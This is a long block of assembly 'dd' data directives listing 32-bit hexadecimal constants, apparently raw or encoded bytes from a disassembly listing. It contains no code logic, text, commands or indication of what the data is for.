		dd 0B832052Bh, 0B25E2DADh, 3B80001Bh, 0A99C518Dh, 0C6D7024Fh
		dd 0B05F3053h, 0BDB0FAD7h, 14A8142h, 0E9C4EA7Eh, 2B3B32FBh
		dd 8140EAD4h, 1E8F1ECBh, 0E2BA3B82h, 41C250BFh,	0D2443F1Ah
		dd 0FC341161h, 0C0B65FC3h, 0C82BDF0Bh, 8C0043F9h, 1A27FFBDh
		dd 863C00E5h, 5DCF7112h, 2909112Bh, 1D18B59h, 98E9FA5Dh
		dd 0A7AEDC2Eh, 40BA3600h, 65D6064h, 0BD031363h,	851BA459h
		dd 2E9C044Bh, 3A650063h, 0D6B23BAFh, 5616055Ah,	0DAA1DA44h
		dd 0C661A3Fh, 10BB908Ah, 2C596515h, 1C7F32EBh, 0AF52D413h
		dd 3E88D589h, 5B060CADh, 52539E9h, 0FF9002BBh, 0C1CAA843h
		dd 2BF5B531h, 9CA61F1Ch, 40C6B29Fh, 8310B109h, 748B95B2h
		dd 6F2DDE50h, 20C84CA8h, 719D691Fh, 0E3800553h,	0C9AAA8A7h
		dd 8D0FB860h, 1B1D6CC5h, 0BDA6D638h, 902C4D0Eh,	481420C7h
		dd 0E261C142h, 10082BB9h, 8E9180D2h, 4AE4F892h,	3FA4D251h
		dd 0EBE68813h, 0F89925E0h, 0DE0B552Fh, 0DBF44CF2h, 422F9B24h
		dd 1222D508h, 0E21C53FCh, 62F26281h, 0E80885BAh, 7CBF5200h
		dd 0B153A0Bh, 1097B82Ch, 4740F0FCh, 1FC1642h, 0EEEA863h
		dd 0D2918589h, 91A85F25h, 0E1B501F0h, 0F157D1AAh, 0A6D0A7DBh
		dd 0D0B95395h, 3601C9B9h, 1D5DE1A4h, 246A5A08h,	0C2E5DBA1h
		dd 7D9B76FEh, 0AD12300Eh, 0CF81C0BFh, 5A28CE86h, 6B8B8D0Fh
		dd 771BAE09h, 1DE46717h, 9009F560h, 0A22EDA00h,	972BEBD2h
		dd 6DBF1666h, 8D8DA2E9h, 0B96F3A7Ch, 2F01B83Ch,	59BFB8F1h
		dd 81F0FD0Fh, 0FA8BAD4Ch, 0A9BEFD2Eh, 19DF606Fh, 0DC090969h
		dd 2C9D288h, 2D7D3Fh, 0E1FFF88Ah, 174F04BFh, 0E34439EBh
		dd 0BCEB714Dh, 8AE65A7Bh, 54AE35D1h, 0C0AADBEEh, 89344936h
		dd 0EB14B503h, 0D94D4B69h, 3CA5006Dh, 32823AC6h, 31ABC94Ch
		dd 605F3309h, 0E092A62Ah, 5AD3F7EEh, 53CEA020h,	5B4BF1B2h
		dd 0AF7ABFh, 1188453h, 8A987362h, 0E2402576h, 0FFAC69h
		dd 4A0BEC1Ch, 44BAF2BFh, 50A7CE07h, 746558E0h, 8999BC1h
		dd 1AF9D87Ah, 0DC43D68Ah, 1584AE00h, 43875BD6h,	0FC515B39h
		dd 9CD1396h, 661F48F7h,	0AD2B53BBh, 8C16AC4Bh, 28602912h
		dd 0FD73D405h, 90DBB407h, 0D3076AFh, 23D7E7Dh, 0AC35D657h
		dd 1A61862Bh, 697361h, 53800E8Dh, 8FF74Ah, 4F56DE6Ah, 0DFBB5061h
		dd 28DB190Bh, 2262990h,	31EB547h, 0A9814F68h, 0E873C1Bh
		dd 0F2B603B0h, 93DC2BBBh, 17B2DAB6h, 25FA530h, 8529821Dh
		dd 0D5D403C5h, 745581E9h, 0FD4435E9h, 0ADF142B6h, 0C1616A38h
		dd 526AD9B7h, 0E84AEDB2h, 0BA9E007Fh, 91A26718h, 5750518Ch
		dd 4827E1C8h, 0ED74968h, 0B052E72Bh, 515A4F76h,	0D4FAB509h
		dd 8FDFE9D1h, 774157F1h, 0BD015763h, 694BAB61h,	0C125F4Ch
		dd 8646059Bh, 4A81A8BAh, 8E83DEDBh, 8A93A5DDh, 82F0EA4Eh
		dd 987B9D17h, 0B72D3828h, 829A46C2h, 3E207DF4h,	0A0B46368h
		dd 9C4E24E7h, 4FBFB73Dh, 0D4303C0Bh, 9D31E040h,	67C523C1h
		dd 7AA148B3h, 2D4D434Ah, 48E086ACh, 3610FE01h, 0D9BF0F6Dh
		dd 0B86AA92Bh, 655A2DB6h, 0BB812145h, 5E427240h, 54C5283Eh
		dd 60284FBDh, 0DD60E45Eh, 0A0F65707h, 8170C426h, 25442BC8h
		dd 7DD11787h, 82BBB080h, 0B90C69h, 0E61DDB45h, 47FA1FB4h
		dd 5E2E6379h, 0CBBEED61h, 3889C056h, 0A36E0DF5h, 2B5DBEE5h
		dd 951F19A8h, 0D680025Ah, 312E7C34h, 3252585h, 0E1D03F73h
		dd 0F88B273Eh, 0AA1AEDE5h, 94E5F74Bh, 0CFA79C9Fh, 57F84018h
		dd 5B3C91ABh, 0FA2B0998h, 2D2482FBh, 0B4F95D0Eh, 75177942h
		dd 0CB813F38h, 8A279D72h, 2D3DE61Eh, 0EDFBA7B3h, 0C1191559h
		dd 60E3F539h, 0B4E5967h, 0D150A382h, 7EC00DEh, 5CA77A6Ch
		dd 829B1C00h, 9C947189h, 0ABB91DBFh, 8466F4ECh,	24C4EF20h
		dd 0C848DAAEh, 976BC116h, 0DC303FEDh, 1358D781h, 16014B26h
		dd 6653BF76h, 814F2AEAh, 8536F8A4h, 0A8E8A26Eh,	0F60800D9h
		dd 9D23DE43h, 0B99F2191h, 5FF233DFh, 539D7678h,	18145916h
		dd 94D2B8B2h, 0DBC2A7ECh, 2DC00D4h, 0C75106EBh,	57D7A0Eh
		dd 60BE1F0Fh, 0F33E036Fh, 0B6E9EA01h, 90EEF2CBh, 4FC3D170h
		dd 4E6DAD2Dh, 0E92774BBh, 14C9A87Fh, 95395BE0h,	4B205110h
		dd 92778B8h, 8103E2EEh,	0A0167ED3h, 0F6E3F18h, 0BB040522h
		dd 1971C545h, 0C96AB29Dh, 0C6F66B4Ch, 0DEF871B4h, 0FBB2C82Eh
		dd 3ABA9659h, 5D53A7D8h, 93ABD9A0h, 6F00CEFCh, 2B6ECD77h
		dd 2D5DF2C8h, 3F641F10h, 96CF6400h, 0AC9CBEB5h,	0EC2A5A20h
		dd 0E7A30241h, 55D25F34h, 0B35BDE01h, 0EED1AD4Eh, 0A2A51F80h
		dd 0FDC55257h, 8FFDD2F8h, 480495A8h, 5030FCFDh,	68A78DFCh
		dd 0DE17E1ACh
		dd 850F67A8h, 89E950E5h, 229477h, 879C1B7h, 0CAF4DA16h
		dd 4D59009h, 50607578h,	2474BB96h, 0DD393F35h, 1C997BFBh
		dd 0B8809179h, 0AD82975Ah, 9589387Fh, 347E02AFh, 778D01E2h
		dd 0C597B550h, 6DE950A3h, 0C5B6FB0Eh, 76052CB4h, 2F314155h
		dd 0BB0FC3F3h, 49C939A3h, 0D9A595F9h, 8388005Eh, 0C74355E0h
		dd 31C807Eh, 0E7E7759Dh, 3E1D11A8h, 19D5900Bh, 74F780A0h
		dd 1AE6E1B5h, 4090F804h, 0DA4AB7D6h, 0ABA4F6FDh, 0F301086Ah
		dd 65676130h, 63F32A29h, 93D4A62Dh, 0DCD7FC25h,	8B072E09h
		dd 0A4C159C1h, 77BF033Dh, 0A1E504Fh, 6DADF0E6h,	57F7C010h
		dd 401A2530h, 404426D9h, 6841071Dh, 60CD0E16h, 15641369h
		dd 4A58360Ch, 74392CEh,	520616FFh, 53957529h, 9253BFBBh
		dd 0D200486Fh, 0BBDF9FE8h, 7F2FD34Fh, 1CEF5116h, 0B6350049h
		dd 94B748CFh, 184A0A01h, 97BC2317h, 0D18D8684h,	505F442Ah
		dd 769CC9FAh, 0E780E0CCh, 94BD12CBh, 3D13BA38h,	8700316Fh
		dd 796929C1h, 3913BB20h, 0BEACE17Fh, 9289592Dh,	0E106ED55h
		dd 2BF5424Bh, 0DBB24F34h, 0C9B02909h, 51E916D4h, 5DDA759h
		dd 39BD158h, 97EBECD6h,	0A2D24EBCh, 0B15C883Ah,	120535F4h
		dd 7C68F002h, 61DA2CC7h, 0DAF89524h, 0BA16E5Ah,	7340991Dh
		dd 181459D8h, 0BD8912D7h, 8803A4B9h, 480D9C95h,	9B5B834Dh
		dd 7EEBC34Fh, 77419783h, 2B70E7F9h, 8376233h, 0A5601268h
		dd 0E4830A25h, 717EC9AFh, 1956EA03h, 12B5555Ah,	0BFEBA600h
		dd 5C86416Dh, 56376F8Dh, 0EE24C482h, 848EDDB4h,	99DF8B20h
		dd 94FB8074h, 55AF742Eh, 0D2296801h, 0AC2D3B60h, 958A1220h
		dd 945DE462h, 0E05687FFh, 4EB5A675h, 51FFD709h,	0B25298BEh
		dd 83F7029Eh, 0D59DB01h, 81C02456h, 139F71EFh, 0AFF8225Dh
		dd 1989049Ah, 112A3430h, 9BAF1A00h, 6AA0B3D7h, 0CDCBA0FFh
		dd 12ABB130h, 86FEAC81h, 0F80D34FDh, 76E5B7E1h,	4662FA91h
		dd 0B00426C5h, 1E299A91h, 3070E601h, 5104C5FBh,	47B371E4h
		dd 0DA221CADh, 0D1C78102h, 244F8A12h, 0D0E4BB29h, 6BDB2D80h
		dd 0F8A019FFh, 0BF73C16Fh, 0EB81E0FFh, 62E59525h, 60F9F61Eh
		dd 0A06FA101h, 38331938h, 54CB06FFh, 33482D47h,	2B4CE2F7h
		dd 0CB97310h, 0F0806028h, 61F98020h, 84D18B28h,	0FD144132h
		dd 9509217Ch, 87346839h, 5F144C44h, 8580AACh, 791D2111h
		dd 0D5BF76C2h, 6C94DF6Dh, 10299D19h, 0B4174D5Fh, 0D8F6A8DEh
		dd 0B60D9526h, 6D0789B9h, 3211FA51h, 6185310Fh,	0A4C4F8D2h
		dd 51758E30h, 0BAC50354h, 5E53D47Dh, 0EDBD1AE8h, 0E33C3824h
		dd 337B6520h, 7E17A125h, 79275073h, 911BD9Dh, 66FF89A5h
		dd 7209481Eh, 369A2C20h, 8161AC88h, 2E39DF04h, 0E6FE376Bh
		dd 70E5F04Eh, 5C98952Ah, 8309CF80h, 900FF1B9h, 0B7152DF7h
		dd 379A3E4h, 0BDD0CB9Fh, 10E0DAB6h, 749255F7h, 3445EE09h
		dd 2C16510Bh, 0ED25DEB5h, 0ED1F5FFAh, 0D3DCB0A5h, 0A2224B47h
		dd 6A9E0020h, 2303F887h, 76DA00C8h, 0DFB8A45Fh,	0BD267484h
		dd 912B357h, 937DDFEFh,	66978071h, 97B5A160h, 880D48C8h
		dd 0D8927397h, 53259BFBh, 7CAB5537h, 0F47AB17Ch, 0B303126Dh
		dd 5BF6B544h, 0DD975BA0h, 0E0947424h, 24101108h, 1F59080Eh
		dd 6B495313h, 474C595Fh, 0EE170E6Dh, 0F702586Fh, 1A0DE5B5h
		dd 0FF4B8C54h, 0CCA3FEA0h, 0B8E25F56h, 0F5DC7AE1h, 7BEF092Bh
		dd 0D85E809Ah, 64494D25h, 602F6214h, 801B794Eh,	0B725E1FFh
		dd 0E3D6523h, 0F613040Ah, 0FF38F0A1h, 3E949508h, 0F620FA45h
		dd 59799D65h, 2FB186C3h, 310F827h, 96975B1Ch, 12DE9520h
		dd 1D1700AFh, 0B6605B27h, 6C00DC40h, 43AA2A48h,	9AB4772h
		dd 3FB72721h, 4FDDCF77h, 0FB7FB843h, 21A2EA9Dh,	0FA32844Ah
		dd 0D28712DBh, 772EC1BFh, 34482B21h, 94AA62Fh, 0CF57CFA3h
		dd 0A32E0A9h, 4B0055B8h, 0B4972C7Ah, 8CD98B5Eh,	0E74DE850h
		dd 50E054BFh, 580093C7h, 263EEC81h, 27891E1Ah, 2F8961BDh
		dd 29255D74h, 719153B8h, 9276CC5Dh, 0F458B000h,	8BC88370h
		dd 0B74EC2DAh, 0FD8268DFh, 0F2F8AE2Ah, 806C816Fh, 6051F4ABh
		dd 158D2E01h, 0B8668134h, 7D613047h, 37DAD7D0h,	0D4DEF880h
		dd 0E730183Ah, 89FE7CD3h, 600D5D9Dh, 0ACADF95Eh, 569319h
		dd 5AD24B8Dh, 0DCB0DA39h, 0B02F3120h, 7C954217h, 6CFD014Eh
		dd 8D5067E8h, 184E11D9h, 0BEB4C4FCh, 3680DADAh,	7A2AB869h
		dd 0E652F50Ah, 91258D33h, 96C4CA40h, 25B801FAh,	4493D358h
		dd 6BF76BC1h, 2E7CD669h, 71A46DEh, 0DA8634D0h, 0DF32EEE2h
		dd 4D755FBAh, 89374098h, 9B09619Ch, 40BBAB91h, 8307A519h
		dd 14F729F7h, 2E35F01Eh, 9FB7391h, 5ED30446h, 9320270h
		dd 50AD6849h, 0A1006BF1h, 839791EFh, 3CBF0561h,	0EB70884Eh
		dd 0E8155CCDh, 0DDF0AAB6h, 5D209D29h, 0FC680206h, 51100AB1h
		dd 0F855A8CAh, 0B2031F34h, 98F52915h, 77BD5A7Fh, 0F9448B02h
		dd 567BA8E6h, 0DB80609Fh, 0BF0450CFh, 1FB16777h, 5795DD5Ch
		dd 6E29EB2Fh, 0DF3F246Dh, 0F6C29980h, 0CCDD5F65h, 2B228602h
		dd 0FD6128ECh, 57017937h, 0A54B4EE1h, 0B27DF73Bh, 96E03018h
		dd 0F44E907Eh, 0FBA47CFDh, 76822D9Bh, 0BF803C88h, 189092EBh
		dd 0EAE93427h, 3013604Ah, 8BF39584h, 8B14115Fh,	90E4F5E6h
		dd 0F38B6012h, 0A5B9C609h, 6EFB611Eh, 9D1A031Eh, 897F1C60h
		dd 0F23AF0B8h, 0AB5F12h, 767AB5D2h, 27F0303Fh, 65AEC825h
		dd 625111A2h, 0DF0249A4h, 3E2DBC9Ch, 246C03h, 0E05C2BF2h
		dd 0A6DBD8F4h, 6631031Ch, 0D10C2E4h, 358B5F2Fh,	75E24E76h
		dd 0EB965610h, 99C48E7Eh, 9E4A0FACh, 0C625C145h, 90F8BB31h
		dd 0E7664F57h, 181913F3h, 2C26D9EEh, 0EF81C041h, 5AD7E12Ah
		dd 53230111h, 2E5B6160h, 284818ADh, 0E096E64Bh,	9B8C09Ch
		dd 0BAA35F4Bh, 0E42D25DEh, 80D4008Ah, 0C88E6D9h, 390EE78Eh
		dd 617A322Dh, 0AC71B135h, 303AAA59h, 0F16D6F87h, 42836203h
		dd 17328CFAh, 0BF61CA5Ch, 3E059665h, 0B46750B6h, 1EFDBD61h
		dd 60699D2Fh, 244B0917h, 899269E2h, 62032AA5h, 4A459D31h
		dd 42D8543h, 0AC8680F0h, 0D781C030h, 4A759D6Dh,	0F90BC446h
		dd 25BDECB7h, 0EFF96A5Ch, 14236F80h, 7F6E4h, 4A5C3506h
		dd 178970DAh, 4DB5CCE9h, 1F9C2F4Ah, 31ACC451h, 0F95C9219h
		dd 0F5A4C4D9h, 9611A62Dh, 245A142Ah, 0B2C0BD50h, 0CA0A14F9h
		dd 4262D605h, 0A90B96E3h, 64BDDF11h, 68E0592Ch,	7C439DCh
		dd 236A52B1h, 42BF4061h, 7F2F79E2h, 0D6D57C5Bh,	4CC19794h
		dd 5B7C6D51h, 67785D82h, 8BA0E5F7h, 0F642C7AAh,	5F4A5058h
		dd 8A7C38CAh, 2DC8C15Dh, 0DF390905h, 88F9D28h, 6A52093Dh
		dd 696D77D8h, 2D621B64h, 699C46D5h, 47165823h, 0DB116D2Dh
		dd 2B6DAD96h, 881676C0h, 9C2F395Ch, 0E1042574h,	7D27FD45h
		dd 0DE02DD0Ah, 4201EB71h, 637ECBD2h, 0B62B4EB2h, 3016B2DDh
		dd 0DC7E31B9h, 3773DF05h, 84EB56CAh, 0A9F01669h, 0CCC62DF9h
		dd 17459DC8h, 0AF484725h, 0A005DB5h, 29F53BC8h,	0BF540085h
		dd 42EE2B67h, 8995A8E9h, 0C5576D49h, 4831E82Ch,	7E302D67h
		dd 17FAEA5Ch, 8E16BED8h, 0D3089CBEh, 8E04FCE2h,	505B4917h
		dd 6E5EA5BFh, 4ACD8D88h, 0C8888F1Ch, 0EFDCC414h, 9509FA31h
		dd 494AA83Eh, 21AEC071h, 0A1710Ch, 0E885F53Fh, 89A0BF08h
		dd 0D60AE730h, 89170DC5h, 0BA507FDBh, 0E192012Dh, 51C91A03h
		dd 0FA66883Fh, 13EEBE88h
		dd 0FF387FFDh, 0C63E73C9h, 4DBFEF68h, 1F97C53Ah, 0A8189193h
		dd 0F1008C1Bh, 0D986D5DAh, 5BE54CFCh, 0F004F66Ah, 5B2C5AB7h
		dd 0ADF70977h, 9874762Bh, 71D46D6h, 9CEFB695h, 0F530E222h
		dd 0C68DC541h, 0D854FBDFh, 0E420B90Dh, 0D126448Bh, 0EBB795h
		dd 9133D8DCh, 66096293h, 59150FBFh, 5361447Dh, 49917F17h
		dd 0DC5B026Ah, 0DE4CC7h, 0AB2746B0h, 3FC2415Eh,	0BF900034h
		dd 19FC1E36h, 8356503Bh, 142591Fh, 498DF55Fh, 997EC06Eh
		dd 10166F11h, 22EA3291h, 0AFFEBD0Fh, 558D09C1h,	0E916EE68h
		dd 0E28BECB4h, 8954ACFh, 0D72DE3ACh, 5A805337h,	783F6E59h
		dd 0BFD8248Bh, 432709BCh, 31AE7259h, 1DB52960h,	288CB311h
		dd 0FA8A25AFh, 16C4376Dh, 54B0DE60h, 0A287DA99h, 0A630FAE0h
		dd 4A07D1A4h, 0A933C47Bh, 10AF86Ah, 0CEDF62F5h,	7B1AE488h
		dd 72D57C2h, 7CD5289h, 847453F5h, 0F1A29BDh, 8B60A06Ah
		dd 0BC200995h, 33D88CBh, 3CB9FC27h, 0F604262Eh,	9E09CB09h
		dd 1BC2579Ch, 72CB5D54h, 0E8DB9D8Ch, 44C95C2Dh,	8830ABB0h
		dd 0C327AEh, 76D0E4CEh,	7E233955h, 0F0DD8B2Dh, 0E65F13E9h
		dd 2ADCA070h, 0F71E480h, 0A9C38056h, 51B509E1h,	9A327F1Eh
		dd 0FCB325D9h, 0F4E78796h, 1813C312h, 0E51667BBh, 64095974h
		dd 786877F8h, 2BF9FFD3h, 2DB26313h, 24427D01h, 802B1E02h
		dd 67EBCF54h, 68B5E28h,	0E992B7D1h, 9C9D2D9Bh, 1D643E01h
		dd 2E4E5A00h, 83A5230Eh, 56C3EF02h, 0E0E09D9Ah,	2F4C503Eh
		dd 95D94755h, 7D1CBE04h, 0AF2965FFh, 0A9BD9990h, 93F9B514h
		dd 11719D84h, 231BC864h, 7EFDA1FCh, 0B4D112ECh,	0D66094Fh
		dd 77F7BB5Dh, 811F4062h, 80FDF704h, 8DAC1952h, 66822288h
		dd 0FE0341BBh, 0B29DE689h, 6F83FABAh, 4B57012h,	18857DB2h
		dd 0AB7ABF89h, 0D249EC00h, 0AACDEC0h, 172D66C4h, 0EE007689h
		dd 95E177CBh, 9D0405F3h, 0E9442F1Dh, 0A028A70Eh, 779F1D2h
		dd 0D58DF758h, 1CA12A1Fh, 515B2015h, 0DF3DA9FCh, 461D993h
		dd 0BBA99D06h, 2061B2B2h, 0DADC8AFEh, 2F377Dh, 267F0D88h
		dd 769515C9h, 0D2F81098h, 95732CF0h, 739536B6h,	9C2550EAh
		dd 0AE6E3D5Bh, 742C1100h, 26ABD6E5h, 0D4292D2Ah, 3E929F12h
		dd 2B2C5AB2h, 281A10A9h, 0D99DDB31h, 9E74847h, 0B75D0289h
		dd 841591F9h, 5FACAEDCh, 0C9DA3FBDh, 806B0F81h,	540A8D6h
		dd 0B92F2130h, 0BD1345BDh, 0A3D05C53h, 81194AB5h, 2BE2859Dh
		dd 88587E28h, 3D279D0Bh, 5833DD1Bh, 7B8F2DDFh, 0D1A809B2h
		dd 0CCA8C828h, 194E8576h, 1EB97E91h, 1055E112h,	26AAFEEh
		dd 0F035C2FEh, 8785208Ch, 2A82A569h, 89CB6928h,	0A0137E23h
		dd 0D36938BBh, 6B9E045Eh, 24D7A80h, 1609666Dh, 0FF33D1B8h
		dd 0FE8A7E98h, 5A779495h, 0EDCDF964h, 0D3A7FC6Bh, 0A12352EAh
		dd 536E3A58h, 6AA77801h, 24998E26h, 9196D30Dh, 70BA0A12h
		dd 13396505h, 621B3425h, 0DC445E68h, 0C6BDA778h, 81E0A0BAh
		dd 0BCD9BD11h, 60163091h, 591109F9h, 597D6862h,	0B2AFBFDFh
		dd 0B5349A58h, 58A82129h, 5A5BECD6h, 0FB6598E1h, 2286E2Fh
		dd 0C44A2EF2h, 0ABF2F58Bh, 25202990h, 0EEB3131Fh, 439BFE6Ah
		dd 903FCE87h, 0DA8A0DF2h, 0FD59683Dh, 17129C4Eh, 16A661A0h
		dd 0F963DEB3h, 0CC76B8A1h, 52BB21AEh, 40F95F5Ah, 840969ADh
		dd 0C8C012E6h, 4A3E5DF2h, 0EF71C445h, 0EAA45BF7h, 66649C80h
		dd 0F7E01BFh, 7E9813Ah,	4D5FC202h, 9025E0C2h, 0BB001366h
		dd 0E3CEC8C7h, 9DA8B60h, 61E6C980h, 92AF7159h, 0ED9DFA3h
		dd 62BB5F12h, 752B128Bh, 0C7809F45h, 0D9953ECDh, 0EDC54E21h
		dd 8C15ACF9h, 66A32025h, 38BB0253h, 891584D8h, 39E082DDh
		dd 0B96D7731h, 94601BE4h, 6405116Ch, 31B7BB23h,	2F8C8CD0h
		dd 558995F5h, 0A7925A37h, 315D88BAh, 6AD48D5Ah,	0ABDAC5AAh
		dd 0E84AB2F2h, 3104DF95h, 92AB38B3h, 51F5FAC6h,	67C00F5Ch
		dd 0B0D3CA2h, 2696C56h,	57295DF8h, 0B12C9C67h, 0CD1D5013h
		dd 0CA83AD74h, 8E27620Ah, 66FF6160h, 308B5AD1h,	719F7AC9h
		dd 4C2A5202h, 4433BADBh, 405F94EEh, 0D8AE0395h,	34B44500h
		dd 8ED4024Ah, 609A6BDFh, 56A9E190h, 4A67F016h, 7A8926BAh
		dd 38A3C5B0h, 4F5F7E39h, 7502BB6Eh, 26433ED3h, 0ACD44DA0h
		dd 0FEFE17B8h, 3148F900h, 2F7172BDh, 250505BFh,	25F3AD6h
		dd 7569D7FCh, 653CEF7h,	0FD8A90FAh, 7D3CA450h, 0E8B65ADBh
		dd 2DE421E0h, 3C1C6F0Bh, 13DB5CEFh, 0BC8CFB0Ch,	0B990956h
		dd 57B39301h, 614E8878h, 2809D76Eh, 7FF05165h, 5D0D9527h
		dd 3595E9B4h, 607F0F42h, 72F8D2A0h, 8B251FEFh, 66145FD1h
		dd 6FBD6270h, 487D4B07h, 5FEC3689h, 1060E785h, 0C9482BEDh
		dd 0E9E5B931h, 0EE84C343h, 0AF006C6Fh, 0CA892D06h, 4917DF13h
		dd 3E579A93h, 23BEB4F6h, 48502F18h, 81082F03h, 0AA6C93EFh
		dd 8726B527h, 12450B3Dh, 0C65F29DFh, 8AD84B1Eh,	9FD62217h
		dd 0CB00C737h, 0EB857680h, 9D4C1214h, 0A5412CB2h, 9DC455DCh
		dd 0F6BA1F09h, 4ABDE467h, 0D52F4B80h, 6011A339h, 0D0070BE9h
		dd 26A02E48h, 5C153688h, 0F10CDEBh, 0A0E4724Eh,	0D45D0E40h
		dd 25CA1273h, 165DE361h, 6BBEF88Bh, 631924A7h, 7D7823C0h
		dd 253EA1Ah, 0E1F6F781h, 4F5C4456h, 3C7F169h, 1B747AC3h
		dd 6E639A90h, 7FCD504Ah, 69D6FCh, 0F7E7EC18h, 557B222h
		dd 0A5EE4112h, 6916BDA2h, 0BC53E923h, 41018C1Ah, 0AA1B6219h
		dd 0BE82F6CAh, 49179021h, 91A53F5h, 165F2315h, 5ADD9B4Bh
		dd 0A757F155h, 250979h,	67FCFAD7h, 14C500D6h, 96C448B6h
		dd 0B2FC31CCh, 0D8ACFFFAh, 9DBD8913h, 0DAAEF9C4h, 0C01DC85Eh
		dd 55E58D87h, 0C6D6F603h, 104F12ACh, 131585FAh,	48B556F8h
		dd 0EDA6172Bh, 0FFE8C0B9h, 2DD59978h, 0AD7C4743h, 80D4B3D6h
		dd 0BF52092Eh, 0C2127987h, 6BA25B30h, 0A2ADF700h, 26E484CFh
		dd 0AA295007h, 70497440h, 42B725E8h, 9D01E4C0h,	0DB09BD2Dh
		dd 2D9FA0F7h, 0D3D91455h, 42C04D69h, 0CED737B0h, 0B1895856h
		dd 365C0E2Dh, 0B7FEB750h, 0B92FD070h, 0B440606Ah, 50612DFAh
		dd 33926290h, 885CD301h, 9C7A1B52h, 53E812D5h, 4EF67B8Fh
		dd 0E029A696h, 19BB7D5h, 8B93689Fh, 2EF4FD10h, 0DF128909h
		dd 814F5016h, 51BDF242h, 5F9CDD04h, 22516144h, 0ECBD11E9h
		dd 768A00DCh, 0BBE5F38Fh, 1B167861h, 98AA5FC8h,	584A536Fh
		dd 9E0067B2h, 39A8440Ch, 0C800F5F8h, 695EE56Ch,	0FDE8C5D0h
		dd 0B963D10h, 41FE644Fh, 8ED2975Fh, 3561C558h, 77893A1Dh
		dd 70F6120h, 0D1FBC6AFh, 95DAFC2Ch, 71BA035Ah, 4164B765h
		dd 2A5513CFh, 39A981F9h, 0C64180CFh, 1489F195h,	0B710798Dh
		dd 3D4A0FA5h, 848BAF92h, 54E40321h, 3EE5D9BEh, 3FEC29E9h
		dd 0E5EAF701h, 5BFC2ECCh, 0B085B72Bh, 18873D2h,	0A94DAB93h
		dd 0EEB7DBDEh, 2534E7F7h, 0F3C0247Ch, 5BE975D7h, 3174B04Ah
		dd 30469578h, 87A8915Dh, 0BAC4EC07h, 9A39DE26h,	5DEC7D5Dh
		dd 597BD39Dh, 4E51819h,	39A9447h, 25B0B885h, 4B187F07h
		dd 417DD2F0h, 54E44200h, 0BA5F4C6Eh, 0E3BB02AFh, 0B589E14Fh
		dd 9D1D85Dh, 30B3905Bh,	9429775Ch, 5AA618B5h, 0D26286E0h
		dd 0C8272B0h, 0D482DA98h, 727F0E78h, 9CAF39h, 3844C0Dh
		dd 2FEF014Fh, 0F84D6A71h, 402BFDE3h, 24ABB13Ah,	0F4A5171Dh
		dd 506D9C0Bh, 18E06116h, 0BCF86407h, 0CF810218h, 0C0BFB851h
		dd 9D85310Eh, 5F3CD652h
		dd 2790FC90h, 25EF7EF8h, 0ED5CF6AEh, 495AB1FCh,	0CC7EF229h
		dd 730D2D89h, 181679D0h, 0E3571F60h, 2DB831B3h,	1CBF0530h
		dd 8DFB27DEh, 0A2AFE892h, 0FC60B187h, 45A15098h, 0EF9F5F61h
		dd 314C408Ch, 0AA980B99h, 4DB3134Ah, 3F30778Dh,	0B5F134F6h
		dd 6A1C6027h, 0D0A1025Ah, 0F905AD8h, 5BDE8A52h,	29B7A5DDh
		dd 0B74ED501h, 0ED3A71CAh, 0A41AA891h, 120F0253h, 30E94C40h
		dd 0D5F888E1h, 22E36B87h, 8729B589h, 0DD93A8F0h, 1E56577Ah
		dd 8A9C2C40h, 0E11A97FEh, 890C0F51h, 10CBAADh, 0B2985D6Ah
		dd 429004E5h, 0F957509Fh, 8B560425h, 0FE9B84FEh, 0BA4BC3F2h
		dd 0E3BF4C61h, 0EBDDC07Bh, 0B9723E7h, 0F30EF3CFh, 9E4048FAh
		dd 8A8009F5h, 31603CF9h, 0EE115992h, 29044792h,	81C959FCh
		dd 6AD07121h, 709DDBF2h, 0B2006A7Bh, 0B8EF922Fh, 9C967240h
		dd 9D926CFh, 6D4F050Dh,	89BF9740h, 0B2454A85h, 1A291255h
		dd 40A14FACh, 6DBD1001h, 9D108628h, 0F832659h, 0FB851487h
		dd 1F8A1761h, 3504F8h, 0DC571382h, 50AEAB1Eh, 0FA076127h
		dd 31092385h, 9675EC3Ah, 0F21D4F6Dh, 9D0B1385h,	0BA3D91EDh
		dd 4CCBB3CBh, 0C4204FCBh, 272D90B2h, 0EE546B63h, 0F704CB48h
		dd 0C8EE7BB8h, 943F1EAh, 2B5D8E6Bh, 0DA467FEBh,	0FE27C84Ah
		dd 38D6A0E0h, 0E236005Fh, 0F7BA5731h, 8B2DB1FFh, 436790D1h
		dd 0DE2C09D3h, 187966E0h, 0F1472E2Eh, 401E2C0h,	0FD4C13F4h
		dd 88D0BFD8h, 0B85BFA8Bh, 4E4938A7h, 5AE4432h, 0A4ED1D5h
		dd 19925160h, 3F59A7F5h, 3D8B748Ch, 0BBCB518Dh,	71529623h
		dd 2B1841E2h, 0E33F69A1h, 48E91A81h, 0B995040Bh, 5E755E82h
		dd 85016113h, 94DC3FD5h, 8BF882Dh, 5AD4DA17h, 2EF789BAh
		dd 0A6601462h, 289B1CB3h, 97729589h, 8A9264F9h,	16A70BBh
		dd 4DB51698h, 360DE3F8h, 0C3C4B8ADh, 980F2F65h,	1210BB2Eh
		dd 0DA4E1CDh, 0F5625FF3h, 0B6ED3AB7h, 79239093h, 3701186Ah
		dd 39BEC817h, 0A81473B9h, 0FCE10310h, 77F59529h, 9737973Bh
		dd 41C95625h, 0DA80FE38h, 2B1681FCh, 66C07F9Bh,	2C8E2309h
		dd 0E25B5225h, 5FCF5F15h, 85815549h, 2F691B77h,	7866F998h
		dd 0DF3E4BBEh, 0C01DC83Dh, 0BF13471h, 91C41902h, 7703949Eh
		dd 6C2DB737h, 0DA500907h, 4079F98Bh, 0E9304D2Fh, 67CA17EAh
		dd 0DB9F8450h, 995B5A71h, 0C283300h, 9813C2Eh, 2A8864E8h
		dd 45BACD57h, 38D89818h, 69F3D300h, 119D2953h, 0E1659501h
		dd 259DD0E9h, 0B04489D0h, 9D75EE02h, 4070E121h,	9530A9EAh
		dd 0A171957Ch, 0B97B7Bh, 0F470AFA9h, 12E8BFA8h,	0F21D64F2h
		dd 1EC24A68h, 4A2DFA75h, 0A570AC87h, 2DEB8FBBh,	0D6F57C61h
		dd 3CF53097h, 0DA6E09BAh, 30EB91Ch, 9FDF0E6Bh, 601B9250h
		dd 0D447A57Bh, 13DE7D3Ah, 0C20594C7h, 39AA14E9h, 404D938h
		dd 8A4B2FE8h, 55262D8Fh, 190EDB3Dh, 0AF16A377h,	85BCC4B7h
